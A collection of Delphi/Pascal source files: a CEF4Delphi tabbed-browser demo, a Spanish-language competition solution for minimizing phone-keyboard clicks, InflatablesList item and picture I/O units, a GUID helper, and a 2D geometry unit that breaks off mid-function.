// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uMainForm;
{$I cef.inc}
interface
uses
{$IFDEF DELPHI16_UP}
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Buttons, Vcl.ExtCtrls, Vcl.StdCtrls,
{$ELSE}
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ComCtrls, Buttons, ExtCtrls, StdCtrls,
{$ENDIF}
uCEFChromium, uCEFWindowParent, uCEFInterfaces, uCEFApplication, uCEFTypes, uCEFConstants;
const
CEFBROWSER_DESTROYWNDPARENT = WM_APP + $100;
CEFBROWSER_DESTROYTAB = WM_APP + $101;
CEFBROWSER_INITIALIZED = WM_APP + $102;
type
TMainForm = class(TForm)
PageControl1: TPageControl;
ButtonPnl: TPanel;
NavButtonPnl: TPanel;
BackBtn: TButton;
ForwardBtn: TButton;
ReloadBtn: TButton;
StopBtn: TButton;
ConfigPnl: TPanel;
GoBtn: TButton;
URLEditPnl: TPanel;
URLCbx: TComboBox;
AddTabBtn: TButton;
RemoveTabBtn: TButton;
procedure AddTabBtnClick(Sender: TObject);
procedure RemoveTabBtnClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure PageControl1Change(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure BackBtnClick(Sender: TObject);
procedure ForwardBtnClick(Sender: TObject);
procedure ReloadBtnClick(Sender: TObject);
procedure StopBtnClick(Sender: TObject);
procedure GoBtnClick(Sender: TObject);
protected
FDestroying : boolean;
procedure Chromium_OnAfterCreated(Sender: TObject; const browser: ICefBrowser);
procedure Chromium_OnAddressChange(Sender: TObject; const browser: ICefBrowser; const frame: ICefFrame; const url: ustring);
procedure Chromium_OnTitleChange(Sender: TObject; const browser: ICefBrowser; const title: ustring);
procedure Chromium_OnClose(Sender: TObject; const browser: ICefBrowser; out Result: Boolean);
procedure Chromium_OnBeforeClose(Sender: TObject; const browser: ICefBrowser);
procedure BrowserCreatedMsg(var aMessage : TMessage); message CEF_AFTERCREATED;
procedure BrowserDestroyWindowParentMsg(var aMessage : TMessage); message CEFBROWSER_DESTROYWNDPARENT;
procedure BrowserDestroyTabMsg(var aMessage : TMessage); message CEFBROWSER_DESTROYTAB;
procedure CEFInitializedMsg(var aMessage : TMessage); message CEFBROWSER_INITIALIZED;
procedure WMMove(var aMessage : TWMMove); message WM_MOVE;
procedure WMMoving(var aMessage : TMessage); message WM_MOVING;
procedure WMEnterMenuLoop(var aMessage: TMessage); message WM_ENTERMENULOOP;
procedure WMExitMenuLoop(var aMessage: TMessage); message WM_EXITMENULOOP;
function GetPageIndex(const aSender : TObject; var aPageIndex : integer) : boolean;
procedure NotifyMoveOrResizeStarted;
function SearchChromium(aPageIndex : integer; var aChromium : TChromium) : boolean;
function SearchWindowParent(aPageIndex : integer; var aWindowParent : TCEFWindowParent) : boolean;
public
{ Public declarations }
end;
var
MainForm: TMainForm;
procedure GlobalCEFApp_OnContextInitialized;
implementation
{$R *.dfm}
// This is just a simplified demo with tab handling.
// It's not meant to be a complete browser or the best way to implement a tabbed browser.
// In this demo all browsers share the buttons and URL combobox.
// All TChromium components share the same functions for their events sending the
// PageIndex of the Tab where they are included in the Message.lParam parameter if necessary.
// For simplicity the Button panel and the PageControl are disabled while adding or removing tab sheets.
// The Form can't be closed if it's destroying a tab.
// This is the destruction sequence when you remove a tab sheet:
// 1. RemoveTabBtnClick calls TChromium.CloseBrowser of the selected tab which triggers a TChromium.OnClose event.
// 2. TChromium.OnClose sends a CEFBROWSER_DESTROYWNDPARENT message to destroy TCEFWindowParent in the main thread which triggers a TChromium.OnBeforeClose event.
// 3. TChromium.OnBeforeClose sends a CEFBROWSER_DESTROYTAB message to destroy the tab in the main thread.
procedure GlobalCEFApp_OnContextInitialized;
begin
if (MainForm <> nil) then PostMessage(MainForm.Handle, CEFBROWSER_INITIALIZED, 0, 0);
end;
procedure TMainForm.AddTabBtnClick(Sender: TObject);
var
TempSheet : TTabSheet;
TempWindowParent : TCEFWindowParent;
TempChromium : TChromium;
begin
ButtonPnl.Enabled := False;
PageControl1.Enabled := False;
TempSheet := TTabSheet.Create(PageControl1);
TempSheet.Caption := 'New Tab';
TempSheet.PageControl := PageControl1;
TempWindowParent := TCEFWindowParent.Create(TempSheet);
TempWindowParent.Parent := TempSheet;
TempWindowParent.Color := clWhite;
TempWindowParent.Align := alClient;
TempChromium := TChromium.Create(TempSheet);
TempChromium.OnAfterCreated := Chromium_OnAfterCreated;
TempChromium.OnAddressChange := Chromium_OnAddressChange;
TempChromium.OnTitleChange := Chromium_OnTitleChange;
TempChromium.OnClose := Chromium_OnClose;
TempChromium.OnBeforeClose := Chromium_OnBeforeClose;
TempChromium.CreateBrowser(TempWindowParent, '');
end;
procedure TMainForm.RemoveTabBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then
begin
FDestroying := True;
ButtonPnl.Enabled := False;
PageControl1.Enabled := False;
TempChromium.CloseBrowser(True);
end;
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := not(FDestroying);
end;
procedure TMainForm.FormShow(Sender: TObject);
begin
if (GlobalCEFApp <> nil) and
GlobalCEFApp.GlobalContextInitialized and
not(ButtonPnl.Enabled) then
begin
ButtonPnl.Enabled := True;
Caption := 'Tab Browser';
cursor := crDefault;
if (PageControl1.PageCount = 0) then AddTabBtn.Click;
end;
end;
procedure TMainForm.ForwardBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then TempChromium.GoForward;
end;
procedure TMainForm.GoBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then TempChromium.LoadURL(URLCbx.Text);
end;
procedure TMainForm.ReloadBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then TempChromium.Reload;
end;
procedure TMainForm.BackBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then TempChromium.GoBack;
end;
procedure TMainForm.StopBtnClick(Sender: TObject);
var
TempChromium : TChromium;
begin
if SearchChromium(PageControl1.TabIndex, TempChromium) then TempChromium.StopLoad;
end;
procedure TMainForm.BrowserCreatedMsg(var aMessage : TMessage);
var
TempWindowParent : TCEFWindowParent;
TempChromium : TChromium;
begin
ButtonPnl.Enabled := True;
PageControl1.Enabled := True;
if SearchWindowParent(aMessage.lParam, TempWindowParent) then
TempWindowParent.UpdateSize;
if SearchChromium(aMessage.lParam, TempChromium) then
TempChromium.LoadURL(URLCbx.Items[0]);
end;
procedure TMainForm.BrowserDestroyWindowParentMsg(var aMessage : TMessage);
var
TempWindowParent : TCEFWindowParent;
begin
if SearchWindowParent(aMessage.lParam, TempWindowParent) then TempWindowParent.Free;
end;
procedure TMainForm.BrowserDestroyTabMsg(var aMessage : TMessage);
begin
if (aMessage.lParam >= 0) and
(aMessage.lParam < PageControl1.PageCount) then
PageControl1.Pages[aMessage.lParam].Free;
ButtonPnl.Enabled := True;
PageControl1.Enabled := True;
FDestroying := False;
end;
procedure TMainForm.Chromium_OnAfterCreated(Sender: TObject; const browser: ICefBrowser);
var
TempPageIndex : integer;
begin
if GetPageIndex(Sender, TempPageIndex) then
PostMessage(Handle, CEF_AFTERCREATED, 0, TempPageIndex);
end;
procedure TMainForm.Chromium_OnAddressChange(Sender: TObject; const browser: ICefBrowser; const frame: ICefFrame; const url: ustring);
var
TempPageIndex : integer;
begin
if (PageControl1.TabIndex >= 0) and
GetPageIndex(Sender, TempPageIndex) and
(PageControl1.TabIndex = TempPageIndex) then
URLCbx.Text := url;
end;
function TMainForm.GetPageIndex(const aSender : TObject; var aPageIndex : integer) : boolean;
begin
Result := False;
aPageIndex := -1;
if (aSender <> nil) and
(aSender is TComponent) and
(TComponent(aSender).Owner <> nil) and
(TComponent(aSender).Owner is TTabSheet) then
begin
aPageIndex := TTabSheet(TComponent(aSender).Owner).PageIndex;
Result := True;
end;
end;
procedure TMainForm.Chromium_OnTitleChange(Sender: TObject; const browser: ICefBrowser; const title: ustring);
var
TempPageIndex : integer;
begin
if GetPageIndex(Sender, TempPageIndex) then
PageControl1.Pages[TempPageIndex].Caption := title;
end;
procedure TMainForm.Chromium_OnClose(Sender: TObject; const browser: ICefBrowser; out Result: Boolean);
var
TempPageIndex : integer;
begin
if GetPageIndex(Sender, TempPageIndex) then
PostMessage(Handle, CEFBROWSER_DESTROYWNDPARENT, 0, TempPageIndex);
Result := False;
end;
procedure TMainForm.Chromium_OnBeforeClose(Sender: TObject; const browser: ICefBrowser);
var
TempPageIndex : integer;
begin
if GetPageIndex(Sender, TempPageIndex) then
PostMessage(Handle, CEFBROWSER_DESTROYTAB, 0, TempPageIndex);
end;
function TMainForm.SearchChromium(aPageIndex : integer; var aChromium : TChromium) : boolean;
var
i, j : integer;
TempComponent : TComponent;
TempSheet : TTabSheet;
begin
Result := False;
aChromium := nil;
if (aPageIndex >= 0) and (aPageIndex < PageControl1.PageCount) then
begin
TempSheet := PageControl1.Pages[aPageIndex];
i := 0;
j := TempSheet.ComponentCount;
while (i < j) and not(Result) do
begin
TempComponent := TempSheet.Components[i];
if (TempComponent <> nil) and (TempComponent is TChromium) then
begin
aChromium := TChromium(TempComponent);
Result := True;
end
else
inc(i);
end;
end;
end;
function TMainForm.SearchWindowParent(aPageIndex : integer; var aWindowParent : TCEFWindowParent) : boolean;
var
i, j : integer;
TempControl : TControl;
TempSheet : TTabSheet;
begin
Result := False;
aWindowParent := nil;
if (aPageIndex >= 0) and (aPageIndex < PageControl1.PageCount) then
begin
TempSheet := PageControl1.Pages[aPageIndex];
i := 0;
j := TempSheet.ControlCount;
while (i < j) and not(Result) do
begin
TempControl := TempSheet.Controls[i];
if (TempControl <> nil) and (TempControl is TCEFWindowParent) then
begin
aWindowParent := TCEFWindowParent(TempControl);
Result := True;
end
else
inc(i);
end;
end;
end;
procedure TMainForm.NotifyMoveOrResizeStarted;
var
i, j : integer;
TempChromium : TChromium;
begin
if not(showing) or (PageControl1 = nil) then exit;
i := 0;
j := PageControl1.PageCount;
while (i < j) do
begin
if SearchChromium(i, TempChromium) then TempChromium.NotifyMoveOrResizeStarted;
inc(i);
end;
end;
procedure TMainForm.WMMove(var aMessage : TWMMove);
begin
inherited;
NotifyMoveOrResizeStarted;
end;
procedure TMainForm.WMMoving(var aMessage : TMessage);
begin
inherited;
NotifyMoveOrResizeStarted;
end;
procedure TMainForm.WMEnterMenuLoop(var aMessage: TMessage);
begin
inherited;
if (aMessage.wParam = 0) and (GlobalCEFApp <> nil) then GlobalCEFApp.OsmodalLoop := True;
end;
procedure TMainForm.WMExitMenuLoop(var aMessage: TMessage);
begin
inherited;
if (aMessage.wParam = 0) and (GlobalCEFApp <> nil) then GlobalCEFApp.OsmodalLoop := False;
end;
procedure TMainForm.PageControl1Change(Sender: TObject);
var
TempChromium : TChromium;
begin
if showing and SearchChromium(PageControl1.TabIndex, TempChromium) then
URLCbx.Text := TempChromium.DocumentURL;
end;
procedure TMainForm.CEFInitializedMsg(var aMessage : TMessage);
begin
if not(ButtonPnl.Enabled) then
begin
ButtonPnl.Enabled := True;
Caption := 'Tab Browser';
cursor := crDefault;
if (PageControl1.PageCount = 0) then AddTabBtn.Click;
end;
end;
end.
|
{$B-,I-,Q-,R-,S-}
{$M 65384,0,655360}
{10¦ Configuraciones de teclado. Croacia 2007
----------------------------------------------------------------------
La Compañía IslaMovil ha instalado un nuevo servicio en sus teléfonos
móviles con el objetivo de hacerlos más baratos. La novedad consiste
en que al trasmitir mensajes de texto cada operación de clic en el
teclado tiene un valor de 1 centavo. El nuevo sistema tiene varias
configuraciones de teclado las cuales en dependencia del mensaje se
pueden ir alternando, sin gastos en dicha operación. El teclado va a
tener siempre 9 teclas y la tecla #, que es la tecla de control. A las
teclas numéricas en dependencia de la configuración se les asigna una
determinada secuencia de caracteres.
Tomemos inicialmente un teclado, en cada tecla pueden existir uno o
varios caracteres del alfabeto inglés y todas las letras aparecerán
una sola vez sin repetición en una configuración, colocadas en un
orden, por ejemplo en la tecla 4 están las letras ghi, entonces para
colocar la letra i en un mensaje hay que oprimir la tecla 4 tres
veces.
Si tuviéramos dos teclados como en el ejemplo de abajo
1
w 2
abc 3
def
4
ghi 5
jkl 6
mno
7
pqrs 8
tuv 9
xyz
Configuración1
1
yz 2
cgm 3
knl
4
ea 5
jbiv 6
xrth
7
dfw 8
ps 9
uoq
Configuración 2
El mensaje Computadora puede ser escrito de la siguiente forma
utilizando solamente la configuración 1 con un costo de 20 centavos.
C o m p u t a d o r a
#1 222 666 6 7 88 8 2 3 666 777 2
Si para escribir el mismo mensaje utilizáramos las dos configuraciones
el costo del mensaje sería de 18 centavos.
C o m p u T a d o r a
#2 2 99 #1 6 7 #2 9 666 #1 2 3 666 #2 66 44
Siempre es posible escribir un mensaje usando las configuraciones del
teclado disponible. El problema entonces radica en minimizar el gasto
al enviar un mensaje.
Tarea
Hacer un programa que permita:
- Leer desde fichero de entrada TCONFIG.IN el mensaje que se desea
enviar y las configuraciones del teclado del dispositivo.
- Determinar el menor costo posible con que puede enviarse el mensaje,
así como la secuencia de clic que fueron necesarios.
- Escribir hacia el fichero de salida TCONFIG.OUT el menor costo
encontrado y la secuencia de clic que se necesitan para enviar
el mensaje con ese costo.
Entrada
El fichero de entrada TCONFIG.IN contiene:
Línea 1: N (1 <= N <= 5000) el número de caracteres del mensaje.
Línea 2: el mensaje, escrito sin espacios y con caracteres en
mayúsculas y minúsculas.
Línea 3: C (1 <= C <= 10), cantidad de configuraciones de teclados.
Línea 4..C*9 + C-1: Se escribirán para cada configuración el número de
la tecla y los caracteres asociados a dicha tecla en el orden que
ellos aparecen. Una configuración se separa de la otra por una línea
en blanco.
Salida
El fichero de salida TCONFIG.OUT contiene:
Línea 1: el entero CM el cual representan el costo del mensaje.
Línea 2..en adelante: en cada una de ellas el carácter del mensaje y
la cantidad de veces que esa tecla se oprimió, en el caso de ser el
carácter de control colocamos el símbolo de # y la configuración para
la cual se cambio.
Ejemplo de Entrada y Salida
TCONFIG.IN
11
Computadora
2
1 w
2 abc
3 def
4 ghi
5 jkl
6 mno
7 pqrs
8 tuv
9 wxyz
1 yz
2 gcm
3 knl
4 ea
5 jbiv
6 xrt
7 dfw
8 ps
9 uoq
TCONFIG.OUT
18
#2
C 2
o 99
#1
m 6
p 7
#2
u 9
t 666
#1
a 2
d 3
o 666
#2
r 66
a 44
}
var
fe,fs : text;
n,m,sol : longint;
men : array[1..10000] of char;
tec : array[1..50,1..9] of string[26];
best : array['a'..'z',1..3] of longint;
procedure open;
var
i,j : longint;
st : string[2];
begin
assign(fe,'tconfig.in'); reset(fe);
assign(fs,'tconfig.out'); rewrite(fs);
readln(fe,n);
readln(fe);
readln(fe,m);
for i:=1 to m do
begin
for j:=1 to 9 do
readln(fe,st,tec[i,j]);
readln(fe);
end;
close(fe);
end;
procedure work;
var
i,j,k,l,p : longint;
begin
sol:=0;
fillchar(best,sizeof(best),0);
reset(fe);
readln(fe);
for i:=1 to n do
begin
read(fe,men[i]);
if (best[men[i],1] = 0) then
begin
for j:=1 to m do
begin
for k:=1 to 9 do
begin
l:=pos(men[i],tec[j,k]);
if (l > 0) then
if (best[men[i],3] > l) or (best[men[i],3] = 0) then
begin
best[men[i],1]:=j;
best[men[i],2]:=k;
best[men[i],3]:=l;
p:=l;
break;
end;
end;
end;
sol:=sol+p;
end
else
sol:=sol+best[men[i],3];
end;
close(fe);
end;
procedure mos(x,z : longint);
var
h : longint;
begin
for h:=1 to z do write(fs,x);
writeln(fs);
end;
procedure closer;
var
i : longint;
begin
writeln(fs,sol);
writeln(fs,'#',best[men[1],1]);
write(fs,men[1],' ');
mos(best[men[1],2],best[men[1],3]);
for i:=2 to n do
begin
if (best[men[i-1],1] = best[men[i],1]) then
begin
write(fs,men[i],' ');
mos(best[men[i],2],best[men[i],3])
end
else
begin
writeln(fs,'#',best[men[i],1]);
write(fs,men[i],' ');
mos(best[men[i],2],best[men[i],3]);
end;
end;
close(fs);
end;
begin
open;
work;
closer;
end. |
unit InflatablesList_ItemPictures_IO;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
Classes, Graphics,
AuxTypes,
InflatablesList_ItemPictures_Base;
const
IL_ITEMPICTURES_SIGNATURE = UInt32($43495049); // IPIC
IL_ITEMPICTURES_STREAMSTRUCTURE_00000000 = UInt32($00000000);
IL_ITEMPICTURES_STREAMSTRUCTURE_SAVE = IL_ITEMPICTURES_STREAMSTRUCTURE_00000000;
type
TILItemPictures_IO = class(TILItemPictures_Base)
protected
fFNSaveToStream: procedure(Stream: TStream) of object;
fFNLoadFromStream: procedure(Stream: TStream) of object;
fFNSaveEntries: procedure(Stream: TStream) of object;
fFNLoadEntries: procedure(Stream: TStream) of object;
fFNSaveEntry: procedure(Stream: TStream; Entry: TILItemPicturesEntry) of object;
fFNLoadEntry: procedure(Stream: TStream; out Entry: TILItemPicturesEntry) of object;
fFNSaveThumbnail: procedure(Stream: TStream; Thumbnail: TBitmap) of object;
fFNLoadThumbnail: procedure(Stream: TStream; out Thumbnail: TBitmap) of object;
procedure InitSaveFunctions(Struct: UInt32); virtual; abstract;
procedure InitLoadFunctions(Struct: UInt32); virtual; abstract;
procedure Save(Stream: TStream; Struct: UInt32); virtual;
procedure Load(Stream: TStream; Struct: UInt32); virtual;
public
procedure SaveToStream(Stream: TStream); virtual;
procedure LoadFromStream(Stream: TStream); virtual;
procedure SaveToFile(const FileName: String); virtual;
procedure LoadFromFile(const FileName: String); virtual;
end;
implementation
uses
SysUtils,
BinaryStreaming, StrRect;
procedure TILItemPictures_IO.Save(Stream: TStream; Struct: UInt32);
begin
InitSaveFunctions(Struct);
fFNSaveToStream(Stream);
end;
//------------------------------------------------------------------------------
procedure TILItemPictures_IO.Load(Stream: TStream; Struct: UInt32);
begin
InitLoadFunctions(Struct);
fFNLoadFromStream(Stream);
fCurrentSecondary := -1;
NextSecondary;
end;
//==============================================================================
procedure TILItemPictures_IO.SaveToStream(Stream: TStream);
begin
Stream_WriteUInt32(Stream,IL_ITEMPICTURES_SIGNATURE);
Stream_WriteUInt32(Stream,IL_ITEMPICTURES_STREAMSTRUCTURE_SAVE);
Save(Stream,IL_ITEMPICTURES_STREAMSTRUCTURE_SAVE);
end;
//------------------------------------------------------------------------------
procedure TILItemPictures_IO.LoadFromStream(Stream: TStream);
begin
If Stream_ReadUInt32(Stream) = IL_ITEMPICTURES_SIGNATURE then
Load(Stream,Stream_ReadUInt32(Stream))
else
raise Exception.Create('TILItemPictures_IO.LoadFromStream: Invalid stream.');
end;
//------------------------------------------------------------------------------
procedure TILItemPictures_IO.SaveToFile(const FileName: String);
var
FileStream: TMemoryStream;
begin
FileStream := TMemoryStream.Create;
try
SaveToStream(FileStream);
FileStream.SaveToFile(StrToRTL(FileName));
finally
FileStream.Free;
end;
end;
//------------------------------------------------------------------------------
procedure TILItemPictures_IO.LoadFromFile(const FileName: String);
var
FileStream: TMemoryStream;
begin
FileStream := TMemoryStream.Create;
try
FileStream.LoadFromFile(StrToRTL(FileName));
FileStream.Seek(0,soBeginning);
LoadFromStream(FileStream);
finally
FileStream.Free;
end;
end;
end.
|
unit uGUIDUtils;
interface
uses
WInapi.ActiveX;
const
SystemDirectoryWatchNotification: TGUID = '{EB9930E8-3158-4192-95F9-8341B313AA8D}';
function GetGUID: TGUID;
function IsSystemState(State: TGUID): Boolean;
implementation
function GetGUID: TGUID;
begin
CoCreateGuid(Result);
end;
function IsSystemState(State: TGUID): Boolean;
begin
if State = SystemDirectoryWatchNotification then
Exit(True);
Result := False;
end;
end.
|
unit InflatablesList_Item_Utils;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
AuxTypes,
InflatablesList_Types,
InflatablesList_Item_Base,
InflatablesList_ItemShop;
type
TILItem_Utils = class(TILItem_Base)
public
Function Descriptor: String; virtual;
Function PictureCountStr: String; virtual;
Function TitleStr: String; virtual;
Function TypeStr: String; virtual;
Function IDStr: String; virtual;
Function TotalSize: Int64; virtual;
Function SizeStr: String; virtual;
Function TotalWeight: UInt32; virtual;
Function TotalWeightStr: String; virtual;
Function UnitPrice: UInt32; virtual;
Function TotalPriceLowest: UInt32; virtual;
Function TotalPriceHighest: UInt32; virtual;
Function TotalPriceSelected: UInt32; virtual;
Function TotalPrice: UInt32; virtual;
Function ShopsUsefulCount: Integer; virtual;
Function ShopsUsefulRatio: Double; virtual;
Function ShopsCountStr: String; virtual;
Function ShopsSelected(out Shop: TILItemShop): Boolean; virtual;
Function ShopsWorstUpdateResult: TILItemShopUpdateResult; virtual;
end;
implementation
uses
SysUtils,
InflatablesList_Utils;
Function TILItem_Utils.Descriptor: String;
begin
If (Length(IDStr) > 0) then
begin
If Length(fVariantTag) > 0 then
Result := IL_Format('%s%s_%s',[fDataProvider.ItemManufacturers[fManufacturer].Tag,IDStr,fVariantTag])
else
Result := IL_Format('%s%s',[fDataProvider.ItemManufacturers[fManufacturer].Tag,IDStr])
end
else Result := GUIDToString(fUniqueID);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.PictureCountStr: String;
var
SecCnt: Integer;
SecCntWT: Integer;
begin
SecCnt := fPictures.SecondaryCount(False);
SecCntWT := fPictures.SecondaryCount(True);
If SecCnt > 0 then
begin
If SecCnt <> SecCntWT then
REsult := IL_Format('%d - %d/%d',[fPictures.Count,SecCnt,SecCntWT])
else
Result := IL_Format('%d - %d',[fPictures.Count,SecCnt]);
end
else Result := IntToStr(fPictures.Count);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TitleStr: String;
begin
If fManufacturer in [ilimUnknown,ilimOthers] then
begin
If Length(fManufacturerStr) > 0 then
Result := fManufacturerStr
else
Result :='<unknown_manuf>';
end
else Result := fDataProvider.ItemManufacturers[fManufacturer].Str;
If Length(IDStr) <> 0 then
begin
If Length(Result) > 0 then
Result := IL_Format('%s %s',[Result,IDStr])
else
Result := IDStr;
end;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TypeStr: String;
begin
If not(fItemType in [ilitUnknown,ilitOther]) then
begin
If Length(fItemTypeSpec) > 0 then
Result := IL_Format('%s (%s)',[fDataProvider.GetItemTypeString(fItemType),fItemTypeSpec])
else
Result := fDataProvider.GetItemTypeString(fItemType);
end
else
begin
If Length(fItemTypeSpec) > 0 then
Result := fItemTypeSpec
else
Result := '<unknown_type>';
end;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.IDStr: String;
begin
If Length(fTextID) <= 0 then
begin
If fNumID <> 0 then
Result := IntToStr(fNumID)
else
Result := '';
end
else Result := fTextID;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalSize: Int64;
var
szX,szY,szZ: UInt32;
begin
If (fSizeX = 0) and ((fSizeY <> 0) or (fSizeZ <> 0)) then szX := 1
else szX := fSizeX;
If (fSizeY = 0) and ((fSizeX <> 0) or (fSizeZ <> 0)) then szY := 1
else szY := fSizeY;
If (fSizeZ = 0) and ((fSizeX <> 0) or (fSizeY <> 0)) then szZ := 1
else szZ := fSizeZ;
Result := Int64(szX) * Int64(szY) * Int64(szZ);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.SizeStr: String;
begin
Result := '';
If fSizeX > 0 then
Result := IL_Format('%g',[fSizeX / 10]);
If fSizeY > 0 then
begin
If Length(Result) > 0 then
Result := IL_Format('%s x %g',[Result,fSizeY / 10])
else
Result := IL_Format('%g',[fSizeY / 10]);
end;
If fSizeZ > 0 then
begin
If Length(Result) > 0 then
Result := IL_Format('%s x %g',[Result,fSizeZ / 10])
else
Result := IL_Format('%g',[fSizeZ / 10]);
end;
If Length(Result) > 0 then
Result := IL_Format('%s cm',[Result]);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalWeight: UInt32;
begin
Result := fUnitWeight * fPieces;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalWeightStr: String;
begin
If TotalWeight > 0 then
Result := IL_Format('%g kg',[TotalWeight / 1000])
else
Result := '';
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.UnitPrice: UInt32;
begin
If fUnitPriceSelected > 0 then
Result := fUnitPriceSelected
else
Result := fUnitPriceDefault;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalPriceLowest: UInt32;
begin
Result := fUnitPriceLowest * fPieces;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalPriceHighest: UInt32;
begin
Result := fUnitPriceHighest * fPieces;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalPriceSelected: UInt32;
begin
Result := fUnitPriceSelected * fPieces;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.TotalPrice: UInt32;
begin
Result := UnitPrice * fPieces;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.ShopsUsefulCount: Integer;
var
i: Integer;
begin
Result := 0;
For i := ShopLowIndex to ShopHighIndex do
If (fShops[i].Available <> 0) and (fShops[i].Price > 0) then
Inc(Result);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.ShopsUsefulRatio: Double;
begin
If fShopCount > 0 then
Result := ShopsUsefulCount / fShopCount
else
Result := -1;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.ShopsCountStr: String;
begin
If ShopsUsefulCount <> ShopCount then
Result := IL_Format('%d/%d',[ShopsUsefulCount,ShopCount])
else
Result := IntToStr(ShopCount);
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.ShopsSelected(out Shop: TILItemShop): Boolean;
var
i: Integer;
begin
Result := False;
For i := ShopLowIndex to ShopHighIndex do
If fShops[i].Selected then
begin
Shop := fShops[i];
Result := True;
Break{For i}; // there should be only one selected shop, no need to continue
end;
end;
//------------------------------------------------------------------------------
Function TILItem_Utils.ShopsWorstUpdateResult: TILItemShopUpdateResult;
var
i: Integer;
begin
Result := ilisurSuccess;
For i := ShopLowIndex to ShopHighIndex do
If fShops[i].LastUpdateRes > Result then
Result := fShops[i].LastUpdateRes;
end;
end.
|
unit Geometry;
interface
type
Point = record
x : Real;
y : Real;
end;
Line = record
A : Point;
B : Point;
end;
Triangle = record
A : Point;
B : Point;
C : Point;
end;
function CreatePoint(const x : Real; const y : Real) : Point;
function CreateTriangle(const A : Point; const B : Point; const C : Point) : Triangle;
function CreateLine(const A : Point; const B : Point) : Line;
function GetDistance(const l : Point; const r : Point) : Real;
function GetTrPer(const T : Triangle) : Real;
function GetTrSq(const T : Triangle) : Real;
function Dot(const l : Point; const r : Point) : Real;
function Cross(const v : Point) : Point;
function Length(const v : Point) : Real;
function Normalize(const v : Point) : Point;
function IntersectionTest(const P1 : Point; const P2 : Point; const L : Line) : Boolean;
function IntersectionTest(const T : Triangle; const L : Line) : Boolean;
implementation
function CreatePoint(const x : Real; const y : Real) : Point;
begin
CreatePoint.x := x;
CreatePoint.y := y;
end;
function GetDistance(const l : Point; const r : Point) : Real;
var vec : Point;
begin
vec.x := l.x - r.x;
vec.y := l.y - r.y;
GetDistance := sqrt(vec.x * vec.x + vec.y * vec.y);
end;
function CreateTriangle(const A : Point; const B : Point; const C : Point) : Triangle;
begin
CreateTriangle.A := A;
CreateTriangle.B := B;
CreateTriangle.C := C;
end;
function CreateLine(const A : Point; const B : Point) : Line;
begin
CreateLine.A := A;
CreateLine.B := B;
end;
procedure TrPerAndSide(const T : Triangle; out AB : Real; out BC : Real; out AC : Real; out Per : Real);
begin
AB := GetDistance(T.A, T.B);
BC := GetDistance(T.B, T.C);
AC := GetDistance(T.A, T.C);
Per := GetTrPer(T);
end;
function GetTrPer(const T : Triangle) : Real;
begin
GetTrPer := GetDistance(T.A, T.B) + GetDistance(T.B, T.C) + GetDistance(T.A, T.C);
end;
function GetTrSq(const T : Triangle) : Real;
var
p : Real;
AB, BC, AC : Real;
begin
TrPerAndSide(T, AB, BC, AC, p);
p /= 2.0;
GetTrSq := sqrt(p * (p - AB) * (p - BC) * (p - AC));
end;
function Dot(const l : Point; const r : Point) : Real;
begin
Dot := l.x * r.x + l.y * r.y;
end;
function Cross(const v : Point) : Point;
begin
Cross.x := -v.y;
Cross.y := v.x;
end;
function Length(const v : Point) : Real;
begin
Length := sqrt(Dot(v, v));
end;
function Normalize(const v : Point) : Point;
begin
Normalize.x := v.x / Length(v);
Normalize.y := v.y / Length(v);
end;
function IntersectionTest(const P1 : Point; const P2 : Point; const L : Line) : Boolean;
var
LineNormal : Point;
DistP1 : Real;
DistP2 : Real;
begin
LineNormal := Normalize(Cross(CreatePoint(L.A.x - L.B.x, L.A.y - L.B.y)));
DistP1 := Dot(LineNormal, CreatePoint(P1.x - L.A.x, P1.y - L.A.y));
DistP2 := Dot(LineNormal, CreatePoint(P2.x - L.A.x, P2.y - L.A.y));
